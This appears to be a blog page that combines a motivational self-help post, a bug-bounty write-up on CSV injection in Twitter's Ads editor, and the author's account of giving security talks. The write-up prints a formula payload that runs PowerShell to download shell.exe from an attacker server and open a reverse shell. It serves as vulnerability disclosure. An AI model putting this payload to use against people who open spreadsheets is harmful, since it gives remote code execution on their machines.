Top 10 Quotes Which Inspire Me Everyday and Reason Why you should NeverGiveUp

In order to be successful at anything in life, you need to first believe that you deserve to be. So for that you need to love yourself.

Loving others is easy. Loving yourself is the hard part OR so we often think. Ability to do what needs to be done, without influence from other people or situations. People with self motivation can find a reason and strength to complete a task, even when challenging, without giving up or needing another to encourage them.

A good way to be continuously self-motivated is to implement something like these 5 steps which I follow:-
1.      Stay Positive. See the good in bad.
2.      Know yourself. Keep notes on when your motivation sucks and when you feel like a superstar.
3.      Stop Over thinking. Just do.
4.      Keep good company. Make more regular encounters with positive and motivated people.
5.      Start simple and Keep learning. Read and try to take in everything you can. The more you learn, the more confident you become.

Many of us find ourselves in motivational slumps that we have to work to get out of. Sometimes it’s like a continuous cycle where we are motivated for a period of time, fall out and then have to build things back up again.
Here are my Top 10 Quotes Which Inspire Me Everyday and Reason Why you should NeverGiveUp in your life.

Twitter CSV Injection - Going beyond Pop-Up Calculator to Taking Meterpreter Shell


Hi folks,

After a long time, I thought of publishing one of my findings. Back in time, I targeted `Twitter` Application in a hope of getting some juicy bugs.  This time I was looking into searching for some different bugs apart from looking up for XSS, SQLi etc.

tl;dr - this vulnerability is exploiting CSV injection, to gain meterpreter session on a victim's local system.

How it started :- 

I was testing one of the twitter features called ‘Ads editor’.
According to twitter, with Ads editor, you can leverage the power of Excel to manage your campaigns at scale.  That sounds cool as it is using a feature like ‘Excel’.  Also there is an option under Edit access to account in which the account admin can add different users and assign the role accordingly [Roles are: - Account Administrator, Ad Manager and Analyst ]

By this time I was pretty clear to check out "CSV Injection Attack".

Proof of Concept :- 

I noticed that the `Name your audience` field was vulnerable to CSV injection that could be chained with a meterpreter payload resulting in client side remote code execution.

I sent this bug report with all the details to the Twitter security team

And I got the below revert

But wait


I created a video POC containing full exploitation in which I was able to take reverse shell connection back to the attacker's machine by using
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0

Click here for Direct Video Link

Above payload works in such a way that when the CSV file is opened, powershell is launched in the background which attempts to grab the Powersploit payload of Invoke-Shellcode to attempt a reverse shell connection back to the attacker's server.

Well, what next..

This is how the life of a bug hunter looks like.

Moral Of The Story:- 
I never tried going beyond Pop-Up Calculator whenever I submitted bugs related to CSV injection, but this gave me an opportunity to exploit. So on a positive note, accept the things and then move on. And most importantly, if you fail? Well, try harder!


Vulnerability timeline:

The Journey :- 

Back in time when I was a new bie in Infosec domain I was trying my hands to learn the basics of infosec this includes workshops, blogs to learn the basics. The most important question running in my mind was from where do I start so that I can make the first step up the ladder of this journey to become Ethical Hacker.

Thankfully, by the grace of God my all hard work paid off. [Big story]

My first talk was at null Mumbai chapter after that I started getting many invites from different colleges to conduct the workshop on Ethical hacking and then the journey of delivering talks began and now there is no looking back to help all the beginners and supporting all the people who are hunting the way to become hacker or info sec geek.  So now to make sure that the new bie avoid this struggle which I faced during my beginning I started helping and supporting via this medium.

In this journey many people asked "You started taking seminars or conference, so is it for the Money.. Fame.. Publicity stunt OR bla bla? " So here is the answer to all those people.

Let's come back to the current state and see what this blog section is about?

I have conducted many Security Talks at different colleges and events which I will be listing in this section.

So if you want to conduct Security Talks at your colleges, then drop an email.
I would love to share the knowledge.
